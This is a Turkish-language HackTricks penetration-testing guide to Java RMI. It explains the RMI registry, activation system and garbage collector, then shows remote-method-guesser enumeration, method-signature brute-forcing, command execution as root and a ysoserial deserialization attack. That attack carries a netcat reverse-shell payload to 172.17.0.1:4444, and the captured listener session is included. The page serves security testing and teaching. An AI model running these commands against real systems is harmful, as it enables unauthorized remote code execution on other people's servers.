hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md
2024-02-10 18:14:16 +00:00

19 KiB
Raw Blame History

1098/1099/1050 - Java RMI Pentesting - RMI-IIOP

AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:


Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin için Trickest'i kullanın.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Temel Bilgiler

Java Uzak Yöntem Çağrısı veya Java RMI, bir Java sanal makinesi üzerinde bulunan bir nesnenin başka bir Java sanal makinesi üzerinde bulunan bir nesne üzerinde yöntem çağırmasına izin veren nesne yönelimli bir RPC mekanizmasıdır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtık uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından Java RMI hakkında kısa bir giriş bu blackhat konuşmasında bulunabilir.

Varsayılan port: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Genellikle, yalnızca varsayılan Java RMI bileşenleri (RMI Registry ve Activation System) yaygın portlara bağlanır. Gerçek RMI uygulamasını uygulayan uzak nesneler genellikle yukarıdaki çıktıda gösterildiği gibi rastgele portlara bağlanır.

nmap, bazen SSL korumalı RMI hizmetlerini tanımlamakta zorluk yaşayabilir. Yaygın bir RMI portunda bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmanız gerekmektedir.

RMI Bileşenleri

Basit bir ifadeyle, Java RMI, bir geliştiricinin bir Java nesnesini ağ üzerinde kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesne üzerinde yöntemleri çağırabileceği bir TCP portu açar. Bu basit gibi görünse de, Java RMI tarafından çözülmesi gereken birkaç zorluk vardır:

  1. Bir yöntem çağrısını Java RMI aracılığıyla yönlendirmek için istemcilerin hedeflenen nesnenin IP adresini, dinleme portunu, uygulanan sınıfı veya arabirimini ve ObjID'yi (hedeflenen nesnenin ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. Birden fazla nesnenin aynı TCP portunda dinlemesine izin verir) bilmeleri gerekir.
  2. Uzak istemciler, açığa çıkarılan nesne üzerinde yöntemleri çağırarak sunucuda kaynaklar tahsis edebilir. Java sanal makinesi, bu kaynaklardan hangilerinin hala kullanımda olduğunu ve hangilerinin çöp toplama işlemine tabi tutulabileceğini takip etmelidir.

İlk zorluk, temel olarak Java RMI için bir isimlendirme hizmeti olan RMI registry tarafından çözülür. RMI registry kendisi de bir RMI hizmeti olmasına rağmen, uygulanan arabirim ve ObjID sabittir ve tüm RMI istemcileri tarafından bilinir. Bu, RMI istemcilerinin yalnızca ilgili TCP portunu bilerek RMI kaydını tüketmesine olanak tanır.

Geliştiriciler, Java nesnelerini ağ içinde kullanılabilir hale getirmek istediklerinde genellikle onları bir RMI registry'e bağlarlar. Registry, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme portu, uygulanan sınıf veya arabirim ve ObjID değeri) ve bunu insan tarafından okunabilir bir isim altında (bağlı isim) kullanılabilir hale getirir. RMI hizmetini tüketmek isteyen istemciler, RMI registry'den ilgili bağlı ismi isteyebilir ve registry, bağlanmak için gereken tüm bilgileri döndürür. Bu nedenle, durum aslında sıradan bir DNS hizmetiyle aynıdır. Aşağıdaki örnek küçük bir örneği göstermektedir:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Yukarıda bahsedilen zorluklardan ikincisi, Dağıtılmış Garbage Collector (DGC) tarafından çözülür. Bu, her bir RMI uç noktasında bulunan ve iyi bilinen bir ObjID değerine sahip başka bir RMI servisidir. Bir RMI istemcisi bir RMI servisini kullanmaya başladığında, ilgili uzak nesnenin kullanımda olduğuna dair bir bilgiyi DGC'ye gönderir. DGC daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.

Eski Activation System ile birlikte, bunlar Java RMI'nın üç varsayılan bileşenidir:

  1. RMI Kayıt Defteri (ObjID = 0)
  2. Activation System (ObjID = 1)
  3. Dağıtılmış Garbage Collector (ObjID = 2)

Java RMI'nın varsayılan bileşenleri, eski Java sürümlerinde bir süredir bilinen saldırı vektörleridir ve birden fazla güvenlik açığı bulunmaktadır. Bir saldırgan perspektifinden, bu varsayılan bileşenler ilgi çekicidir, çünkü bilinen sınıfları / arabirimleri uygularlar ve onlarla etkileşim kurmak kolaydır. Bu durum, özel RMI servisleri için farklıdır. Bir uzak nesne üzerinde bir yöntem çağırmak için, önceden ilgili yöntem imzasını bilmek gerekmektedir. Var olan bir yöntem imzasını bilmeden, bir RMI servisiyle iletişim kurmanın bir yolu yoktur.

RMI Numaralandırma

remote-method-guesser, yaygın RMI güvenlik açıklarını otomatik olarak tanımlayabilen bir Java RMI zafiyet tarama aracıdır. Bir RMI uç noktası tespit ettiğinizde, bunu denemelisiniz:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Sorgulama eyleminin çıktısı, projenin belgelendirme sayfalarında daha detaylı olarak açıklanmaktadır. Sonuca bağlı olarak, tespit edilen zayıflıkları doğrulamak için denemeler yapmalısınız.

remote-method-guesser tarafından gösterilen ObjID değerleri, hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zayıflıkları tespit etmeye yardımcı olabilir:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Uzak Yöntemleri Bruteforce Etme

Numaralandırma sırasında herhangi bir zayıflık tespit edilmese bile, mevcut RMI hizmetleri tehlikeli işlevleri ortaya çıkarabilir. Dahası, RMI varsayılan bileşenlere yapılan RMI iletişimi, serileştirme filtreleri tarafından korunurken, özel RMI hizmetleriyle iletişim kurulduğunda, bu tür filtreler genellikle mevcut değildir. RMI hizmetlerinde geçerli yöntem imzalarını bilmek bu nedenle değerlidir.

Ne yazık ki, Java RMI, uzak nesnelerde yöntemleri numaralandırmayı desteklemez. Bununla birlikte, remote-method-guesser veya rmiscout gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Belirlenen yöntemler şu şekilde çağrılabilir:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Ya da şu şekilde deserializasyon saldırıları gerçekleştirebilirsiniz:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Daha fazla bilgi bu makalelerde bulunabilir:

Tahmin etmenin yanı sıra, karşılaşılan bir RMI hizmetinin arayüzünü veya hatta uygulamasını arama motorlarında veya GitHub üzerinde de aramalısınız. Burada, "bound name" ve uygulanan sınıf veya arayüzün adı yardımcı olabilir.

Bilinen Arayüzler

remote-method-guesser, bilinen RMI hizmetlerinin dahili veritabanında listelenmişse, sınıfları veya arayüzleri known olarak işaretler. Bu durumlarda, ilgili RMI hizmeti hakkında daha fazla bilgi almak için known eylemini kullanabilirsiniz:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Araçlar

Referanslar

HackTricks Otomatik Komutları

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları: